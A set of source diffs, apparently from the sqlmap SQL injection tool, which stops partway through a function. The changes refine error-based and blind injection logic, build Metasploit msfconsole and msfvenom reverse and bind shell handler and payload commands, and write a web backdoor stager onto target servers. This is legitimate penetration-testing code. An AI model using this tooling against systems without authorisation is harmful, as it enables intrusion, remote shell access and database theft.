@ -10,7 +10,6 @@ import os
|
|||
from xml.etree import ElementTree as et
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.exception import SqlmapInstallationException
|
||||
|
@ -89,8 +88,6 @@ def loadPayloads():
|
|||
for payloadFile in payloadFiles:
|
||||
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
|
||||
|
||||
#logger.debug("Parsing payloads from file '%s'" % payloadFile)
|
||||
|
||||
try:
|
||||
doc = et.parse(payloadFilePath)
|
||||
except Exception, ex:
|
||||
|
|
|
@ -191,7 +191,7 @@ def checkCharEncoding(encoding, warn=True):
|
|||
# Reference: http://philip.html5.org/data/charsets-2.html
|
||||
if encoding in translate:
|
||||
encoding = translate[encoding]
|
||||
elif encoding in ("null", "{charset}", "*"):
|
||||
elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding):
|
||||
return None
|
||||
|
||||
# Reference: http://www.iana.org/assignments/character-sets
|
||||
|
|
|
@ -77,7 +77,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
|||
|
||||
if page:
|
||||
# In case of an DBMS error page return None
|
||||
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
|
||||
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic:
|
||||
return None
|
||||
|
||||
# Dynamic content lines to be excluded before comparison
|
||||
|
@ -165,6 +165,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
|||
elif ratio > UPPER_RATIO_BOUND:
|
||||
return True
|
||||
|
||||
elif ratio < LOWER_RATIO_BOUND:
|
||||
return False
|
||||
|
||||
elif kb.matchRatio is None:
|
||||
return None
|
||||
|
||||
|
|
|
@ -212,7 +212,9 @@ class Connect(object):
|
|||
elif conf.cpuThrottle:
|
||||
cpuThrottle(conf.cpuThrottle)
|
||||
|
||||
if conf.dummy:
|
||||
if conf.offline:
|
||||
return None, None, None
|
||||
elif conf.dummy:
|
||||
return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
|
@ -372,7 +374,7 @@ class Connect(object):
|
|||
headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding)
|
||||
|
||||
url = unicodeencode(url)
|
||||
post = unicodeencode(post, kb.pageEncoding)
|
||||
post = unicodeencode(post)
|
||||
|
||||
if websocket_:
|
||||
ws = websocket.WebSocket()
|
||||
|
@ -573,7 +575,7 @@ class Connect(object):
|
|||
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, httplib.ResponseNotReady, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e:
|
||||
except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e:
|
||||
tbMsg = traceback.format_exc()
|
||||
|
||||
if "no host given" in tbMsg:
|
||||
|
@ -820,7 +822,6 @@ class Connect(object):
|
|||
retVal = paramString
|
||||
match = re.search("%s=(?P<value>[^&]*)" % re.escape(parameter), paramString)
|
||||
if match:
|
||||
origValue = match.group("value")
|
||||
retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString)
|
||||
return retVal
|
||||
|
||||
|
@ -888,11 +889,16 @@ class Connect(object):
|
|||
|
||||
if conf.evalCode:
|
||||
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
|
||||
variables = {"uri": uri}
|
||||
variables = {"uri": uri, "lastPage": threadData.lastPage}
|
||||
originals = {}
|
||||
keywords = keyword.kwlist
|
||||
|
||||
for item in filter(None, (get, post if not kb.postHint else None)):
|
||||
if not get and PLACE.URI in conf.parameters:
|
||||
query = urlparse.urlsplit(uri).query or ""
|
||||
else:
|
||||
query = None
|
||||
|
||||
for item in filter(None, (get, post if not kb.postHint else None, query)):
|
||||
for part in item.split(delimiter):
|
||||
if '=' in part:
|
||||
name, value = part.split('=', 1)
|
||||
|
@ -955,6 +961,10 @@ class Connect(object):
|
|||
found = True
|
||||
post = re.sub(regex, "\g<1>%s\g<3>" % value, post)
|
||||
|
||||
if re.search(regex, (query or "")):
|
||||
found = True
|
||||
uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri)
|
||||
|
||||
regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER))
|
||||
if re.search(regex, (cookie or "")):
|
||||
found = True
|
||||
|
@ -1029,23 +1039,24 @@ class Connect(object):
|
|||
if kb.nullConnection and not content and not response and not timeBasedCompare:
|
||||
noteResponseTime = False
|
||||
|
||||
pushValue(kb.pageCompress)
|
||||
kb.pageCompress = False
|
||||
try:
|
||||
pushValue(kb.pageCompress)
|
||||
kb.pageCompress = False
|
||||
|
||||
if kb.nullConnection == NULLCONNECTION.HEAD:
|
||||
method = HTTPMETHOD.HEAD
|
||||
elif kb.nullConnection == NULLCONNECTION.RANGE:
|
||||
auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1"
|
||||
if kb.nullConnection == NULLCONNECTION.HEAD:
|
||||
method = HTTPMETHOD.HEAD
|
||||
elif kb.nullConnection == NULLCONNECTION.RANGE:
|
||||
auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1"
|
||||
|
||||
_, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))
|
||||
_, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ))
|
||||
|
||||
if headers:
|
||||
if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers:
|
||||
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
|
||||
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
|
||||
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
|
||||
|
||||
kb.pageCompress = popValue()
|
||||
if headers:
|
||||
if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers:
|
||||
pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH])
|
||||
elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers:
|
||||
pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
|
||||
finally:
|
||||
kb.pageCompress = popValue()
|
||||
|
||||
if not pageLength:
|
||||
try:
|
||||
|
@ -1062,6 +1073,7 @@ class Connect(object):
|
|||
page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
|
||||
|
||||
threadData.lastQueryDuration = calculateDeltaSeconds(start)
|
||||
threadData.lastPage = page
|
||||
|
||||
kb.originalCode = kb.originalCode or code
|
||||
|
||||
|
|
|
@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission
|
|||
|
||||
import httplib
|
||||
import socket
|
||||
import sys
|
||||
import urllib2
|
||||
|
||||
from lib.core.data import kb
|
||||
|
|
|
@ -391,11 +391,13 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||
warnMsg += ". Falling back to partial UNION technique"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
pushValue(kb.forcePartialUnion)
|
||||
kb.forcePartialUnion = True
|
||||
value = _goUnion(query, unpack, dump)
|
||||
found = (value is not None) or (value is None and expectingNone)
|
||||
kb.forcePartialUnion = popValue()
|
||||
try:
|
||||
pushValue(kb.forcePartialUnion)
|
||||
kb.forcePartialUnion = True
|
||||
value = _goUnion(query, unpack, dump)
|
||||
found = (value is not None) or (value is None and expectingNone)
|
||||
finally:
|
||||
kb.forcePartialUnion = popValue()
|
||||
else:
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
|
@ -450,7 +452,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
|||
|
||||
kb.safeCharEncode = False
|
||||
|
||||
if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
||||
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
|
||||
warnMsg = "in case of continuous data retrieval problems you are advised to try "
|
||||
warnMsg += "a switch '--no-cast' "
|
||||
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
|
||||
|
|
|
@ -24,6 +24,7 @@ from lib.core.common import randomRange
|
|||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.enums import DBMS
|
||||
|
@ -61,8 +62,10 @@ class Metasploit:
|
|||
self.localIP = getLocalIP()
|
||||
self.remoteIP = getRemoteIP() or conf.hostname
|
||||
self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli"))
|
||||
self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
|
||||
self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode"))
|
||||
self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload"))
|
||||
self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom"))
|
||||
|
||||
if IS_WIN:
|
||||
_ = conf.msfPath
|
||||
|
@ -76,8 +79,10 @@ class Metasploit:
|
|||
if _ == old:
|
||||
break
|
||||
self._msfCli = "%s & ruby %s" % (_, self._msfCli)
|
||||
self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
|
||||
self._msfEncode = "ruby %s" % self._msfEncode
|
||||
self._msfPayload = "%s & ruby %s" % (_, self._msfPayload)
|
||||
self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
|
||||
|
||||
self._msfPayloadsList = {
|
||||
"windows": {
|
||||
|
@ -326,42 +331,80 @@ class Metasploit:
|
|||
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||
|
||||
def _forgeMsfCliCmd(self, exitfunc="process"):
|
||||
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
|
||||
self._cliCmd += " EXITFUNC=%s" % exitfunc
|
||||
self._cliCmd += " LPORT=%s" % self.portStr
|
||||
if kb.oldMsf:
|
||||
self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
|
||||
self._cliCmd += " EXITFUNC=%s" % exitfunc
|
||||
self._cliCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self._cliCmd += " RHOST=%s" % self.rhostStr
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self._cliCmd += " LHOST=%s" % self.lhostStr
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self._cliCmd += " RHOST=%s" % self.rhostStr
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self._cliCmd += " LHOST=%s" % self.lhostStr
|
||||
else:
|
||||
raise SqlmapDataException("unexpected connection type")
|
||||
|
||||
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
|
||||
self._cliCmd += " DisableCourtesyShell=true"
|
||||
|
||||
self._cliCmd += " E"
|
||||
else:
|
||||
raise SqlmapDataException("unexpected connection type")
|
||||
self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
|
||||
self._cliCmd += "; set EXITFUNC %s" % exitfunc
|
||||
self._cliCmd += "; set LPORT %s" % self.portStr
|
||||
|
||||
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
|
||||
self._cliCmd += " DisableCourtesyShell=true"
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self._cliCmd += "; set RHOST %s" % self.rhostStr
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self._cliCmd += "; set LHOST %s" % self.lhostStr
|
||||
else:
|
||||
raise SqlmapDataException("unexpected connection type")
|
||||
|
||||
self._cliCmd += " E"
|
||||
if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject":
|
||||
self._cliCmd += "; set DisableCourtesyShell true"
|
||||
|
||||
self._cliCmd += "; exploit'"
|
||||
|
||||
def _forgeMsfCliCmdForSmbrelay(self):
|
||||
self._prepareIngredients(encode=False)
|
||||
|
||||
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
|
||||
self._cliCmd += " EXITFUNC=thread"
|
||||
self._cliCmd += " LPORT=%s" % self.portStr
|
||||
self._cliCmd += " SRVHOST=%s" % self.lhostStr
|
||||
self._cliCmd += " SRVPORT=%s" % self._selectSMBPort()
|
||||
if kb.oldMsf:
|
||||
self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr)
|
||||
self._cliCmd += " EXITFUNC=thread"
|
||||
self._cliCmd += " LPORT=%s" % self.portStr
|
||||
self._cliCmd += " SRVHOST=%s" % self.lhostStr
|
||||
self._cliCmd += " SRVPORT=%s" % self._selectSMBPort()
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self._cliCmd += " RHOST=%s" % self.rhostStr
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self._cliCmd += " LHOST=%s" % self.lhostStr
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self._cliCmd += " RHOST=%s" % self.rhostStr
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self._cliCmd += " LHOST=%s" % self.lhostStr
|
||||
else:
|
||||
raise SqlmapDataException("unexpected connection type")
|
||||
|
||||
self._cliCmd += " E"
|
||||
else:
|
||||
raise SqlmapDataException("unexpected connection type")
|
||||
self._cliCmd = "%s -x 'use windows/smb/smb_relay; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr)
|
||||
self._cliCmd += "; set EXITFUNC thread"
|
||||
self._cliCmd += "; set LPORT %s" % self.portStr
|
||||
self._cliCmd += "; set SRVHOST %s" % self.lhostStr
|
||||
self._cliCmd += "; set SRVPORT %s" % self._selectSMBPort()
|
||||
|
||||
self._cliCmd += " E"
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self._cliCmd += "; set RHOST %s" % self.rhostStr
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self._cliCmd += "; set LHOST %s" % self.lhostStr
|
||||
else:
|
||||
raise SqlmapDataException("unexpected connection type")
|
||||
|
||||
self._cliCmd += "; exploit'"
|
||||
|
||||
def _forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||
self._payloadCmd = "%s %s" % (self._msfPayload, self.payloadConnStr)
|
||||
if kb.oldMsf:
|
||||
self._payloadCmd = self._msfPayload
|
||||
else:
|
||||
self._payloadCmd = "%s -p" % self._msfVenom
|
||||
|
||||
self._payloadCmd += " %s" % self.payloadConnStr
|
||||
self._payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||
self._payloadCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
|
@ -373,13 +416,22 @@ class Metasploit:
|
|||
if Backend.isOs(OS.LINUX) and conf.privEsc:
|
||||
self._payloadCmd += " PrependChrootBreak=true PrependSetuid=true"
|
||||
|
||||
if extra == "BufferRegister=EAX":
|
||||
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
|
||||
if kb.oldMsf:
|
||||
if extra == "BufferRegister=EAX":
|
||||
self._payloadCmd += " R | %s -a x86 -e %s -o \"%s\" -t %s" % (self._msfEncode, self.encoderStr, outFile, format)
|
||||
|
||||
if extra is not None:
|
||||
self._payloadCmd += " %s" % extra
|
||||
if extra is not None:
|
||||
self._payloadCmd += " %s" % extra
|
||||
else:
|
||||
self._payloadCmd += " X > \"%s\"" % outFile
|
||||
else:
|
||||
self._payloadCmd += " X > \"%s\"" % outFile
|
||||
if extra == "BufferRegister=EAX":
|
||||
self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile)
|
||||
|
||||
if extra is not None:
|
||||
self._payloadCmd += " %s" % extra
|
||||
else:
|
||||
self._payloadCmd += " -f exe > \"%s\"" % outFile
|
||||
|
||||
def _runMsfCliSmbrelay(self):
|
||||
self._forgeMsfCliCmdForSmbrelay()
|
||||
|
|
|
@ -361,6 +361,9 @@ class UDF:
|
|||
warnMsg += "<= %d are allowed" % len(udfList)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not isinstance(choice, int):
|
||||
break
|
||||
|
||||
cmd = ""
|
||||
count = 1
|
||||
udfToCall = udfList[choice - 1]
|
||||
|
|
|
@ -205,7 +205,6 @@ class Web:
|
|||
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
|
||||
|
||||
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
||||
success = False
|
||||
|
||||
for directory in directories:
|
||||
if not directory:
|
||||
|
@ -263,8 +262,8 @@ class Web:
|
|||
|
||||
with open(filename, "w+") as f:
|
||||
_ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
||||
_ = _.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
|
||||
f.write(utf8encode(_))
|
||||
_ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
|
||||
f.write(_)
|
||||
|
||||
self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
|
||||
|
||||
|
@ -357,6 +356,4 @@ class Web:
|
|||
infoMsg += self.webBackdoorUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
success = True
|
||||
|
||||
break
|
||||
|
|
|
@ -212,7 +212,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
|
||||
return not result
|
||||
|
||||
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
|
||||
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
|
||||
"""
|
||||
continuousOrder means that distance between each two neighbour's
|
||||
numerical values is exactly 1
|
||||
|
@ -310,7 +310,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
kb.originalTimeDelay = conf.timeSec
|
||||
|
||||
kb.timeValidCharsRun = 0
|
||||
if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
|
||||
if retried < MAX_TIME_REVALIDATION_STEPS:
|
||||
errMsg = "invalid character detected. retrying.."
|
||||
logger.error(errMsg)
|
||||
|
||||
|
@ -324,7 +324,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
|||
logger.debug(dbgMsg)
|
||||
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
|
||||
|
||||
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
|
||||
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
|
||||
else:
|
||||
errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
|
||||
logger.error(errMsg)
|
||||
|
|
|
@ -35,10 +35,11 @@ from lib.core.data import logger
|
|||
from lib.core.data import queries
|
||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import HASHDB_KEYS
|
||||
from lib.core.enums import HTTP_HEADER
|
||||
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
|
||||
from lib.core.settings import MYSQL_ERROR_CHUNK_LENGTH
|
||||
from lib.core.settings import MSSQL_ERROR_CHUNK_LENGTH
|
||||
from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
|
||||
from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
|
||||
|
@ -50,7 +51,7 @@ from lib.core.unescaper import unescaper
|
|||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.progress import ProgressBar
|
||||
|
||||
def _oneShotErrorUse(expression, field=None):
|
||||
def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
||||
offset = 1
|
||||
partialValue = None
|
||||
threadData = getCurrentThreadData()
|
||||
|
@ -63,12 +64,28 @@ def _oneShotErrorUse(expression, field=None):
|
|||
|
||||
threadData.resumed = retVal is not None and not partialValue
|
||||
|
||||
if Backend.isDbms(DBMS.MYSQL):
|
||||
chunk_length = MYSQL_ERROR_CHUNK_LENGTH
|
||||
elif Backend.isDbms(DBMS.MSSQL):
|
||||
chunk_length = MSSQL_ERROR_CHUNK_LENGTH
|
||||
else:
|
||||
chunk_length = None
|
||||
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
|
||||
debugMsg = "searching for error chunk length..."
|
||||
logger.debug(debugMsg)
|
||||
|
||||
current = MAX_ERROR_CHUNK_LENGTH
|
||||
while current >= MIN_ERROR_CHUNK_LENGTH:
|
||||
testChar = str(current % 10)
|
||||
testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
|
||||
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
|
||||
if result and testChar in result:
|
||||
if result == testChar * current:
|
||||
kb.errorChunkLength = current
|
||||
break
|
||||
else:
|
||||
current = len(result) - len(kb.chars.stop)
|
||||
else:
|
||||
current = current / 2
|
||||
|
||||
if kb.errorChunkLength:
|
||||
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
|
||||
else:
|
||||
kb.errorChunkLength = 0
|
||||
|
||||
if retVal is None or partialValue:
|
||||
try:
|
||||
|
@ -79,12 +96,12 @@ def _oneShotErrorUse(expression, field=None):
|
|||
if field:
|
||||
nulledCastedField = agent.nullAndCastField(field)
|
||||
|
||||
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")): # skip chunking of scalar expression (unneeded)
|
||||
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
|
||||
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
|
||||
if extendedField != field: # e.g. MIN(surname)
|
||||
nulledCastedField = extendedField.replace(field, nulledCastedField)
|
||||
field = extendedField
|
||||
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
|
||||
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
|
||||
|
||||
# Forge the error-based SQL injection request
|
||||
vector = kb.injection.data[kb.technique].vector
|
||||
|
@ -125,10 +142,11 @@ def _oneShotErrorUse(expression, field=None):
|
|||
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
||||
|
||||
if trimmed:
|
||||
warnMsg = "possible server trimmed output detected "
|
||||
warnMsg += "(due to its length and/or content): "
|
||||
warnMsg += safecharencode(trimmed)
|
||||
logger.warn(warnMsg)
|
||||
if not chunkTest:
|
||||
warnMsg = "possible server trimmed output detected "
|
||||
warnMsg += "(due to its length and/or content): "
|
||||
warnMsg += safecharencode(trimmed)
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not kb.testMode:
|
||||
check = "(?P<result>.*?)%s" % kb.chars.stop[:2]
|
||||
|
@ -146,8 +164,8 @@ def _oneShotErrorUse(expression, field=None):
|
|||
else:
|
||||
retVal += output if output else ''
|
||||
|
||||
if output and len(output) >= chunk_length:
|
||||
offset += chunk_length
|
||||
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
|
||||
offset += kb.errorChunkLength
|
||||
else:
|
||||
break
|
||||
|
||||
|
|
|
@ -81,73 +81,74 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||
|
||||
return found
|
||||
|
||||
pushValue(kb.errorIsNone)
|
||||
items, ratios = [], []
|
||||
kb.errorIsNone = False
|
||||
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
|
||||
try:
|
||||
pushValue(kb.errorIsNone)
|
||||
items, ratios = [], []
|
||||
kb.errorIsNone = False
|
||||
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
|
||||
|
||||
if lowerCount == 1:
|
||||
found = kb.orderByColumns or _orderByTechnique()
|
||||
if found:
|
||||
kb.orderByColumns = found
|
||||
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
|
||||
singleTimeLogMessage(infoMsg)
|
||||
return found
|
||||
if lowerCount == 1:
|
||||
found = kb.orderByColumns or _orderByTechnique()
|
||||
if found:
|
||||
kb.orderByColumns = found
|
||||
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
|
||||
singleTimeLogMessage(infoMsg)
|
||||
return found
|
||||
|
||||
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
|
||||
upperCount = lowerCount + MIN_UNION_RESPONSES
|
||||
if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
|
||||
upperCount = lowerCount + MIN_UNION_RESPONSES
|
||||
|
||||
min_, max_ = MAX_RATIO, MIN_RATIO
|
||||
pages = {}
|
||||
min_, max_ = MAX_RATIO, MIN_RATIO
|
||||
pages = {}
|
||||
|
||||
for count in xrange(lowerCount, upperCount + 1):
|
||||
query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
|
||||
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
||||
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||
if not isNullValue(kb.uChar):
|
||||
pages[count] = page
|
||||
ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
|
||||
ratios.append(ratio)
|
||||
min_, max_ = min(min_, ratio), max(max_, ratio)
|
||||
items.append((count, ratio))
|
||||
|
||||
for count in xrange(lowerCount, upperCount + 1):
|
||||
query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
|
||||
payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
|
||||
page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
|
||||
if not isNullValue(kb.uChar):
|
||||
pages[count] = page
|
||||
ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO
|
||||
ratios.append(ratio)
|
||||
min_, max_ = min(min_, ratio), max(max_, ratio)
|
||||
items.append((count, ratio))
|
||||
for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
|
||||
contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()]
|
||||
if len(filter(lambda x: x[1], contains)) == 1:
|
||||
retVal = filter(lambda x: x[1], contains)[0][0]
|
||||
break
|
||||
|
||||
if not isNullValue(kb.uChar):
|
||||
for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
|
||||
contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()]
|
||||
if len(filter(lambda x: x[1], contains)) == 1:
|
||||
retVal = filter(lambda x: x[1], contains)[0][0]
|
||||
break
|
||||
if not retVal:
|
||||
ratios.pop(ratios.index(min_))
|
||||
ratios.pop(ratios.index(max_))
|
||||
|
||||
if not retVal:
|
||||
ratios.pop(ratios.index(min_))
|
||||
ratios.pop(ratios.index(max_))
|
||||
minItem, maxItem = None, None
|
||||
|
||||
minItem, maxItem = None, None
|
||||
for item in items:
|
||||
if item[1] == min_:
|
||||
minItem = item
|
||||
elif item[1] == max_:
|
||||
maxItem = item
|
||||
|
||||
for item in items:
|
||||
if item[1] == min_:
|
||||
minItem = item
|
||||
elif item[1] == max_:
|
||||
maxItem = item
|
||||
if all(map(lambda x: x == min_ and x != max_, ratios)):
|
||||
retVal = maxItem[0]
|
||||
|
||||
if all(map(lambda x: x == min_ and x != max_, ratios)):
|
||||
retVal = maxItem[0]
|
||||
elif all(map(lambda x: x != min_ and x == max_, ratios)):
|
||||
retVal = minItem[0]
|
||||
|
||||
elif all(map(lambda x: x != min_ and x == max_, ratios)):
|
||||
retVal = minItem[0]
|
||||
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
|
||||
deviation = stdev(ratios)
|
||||
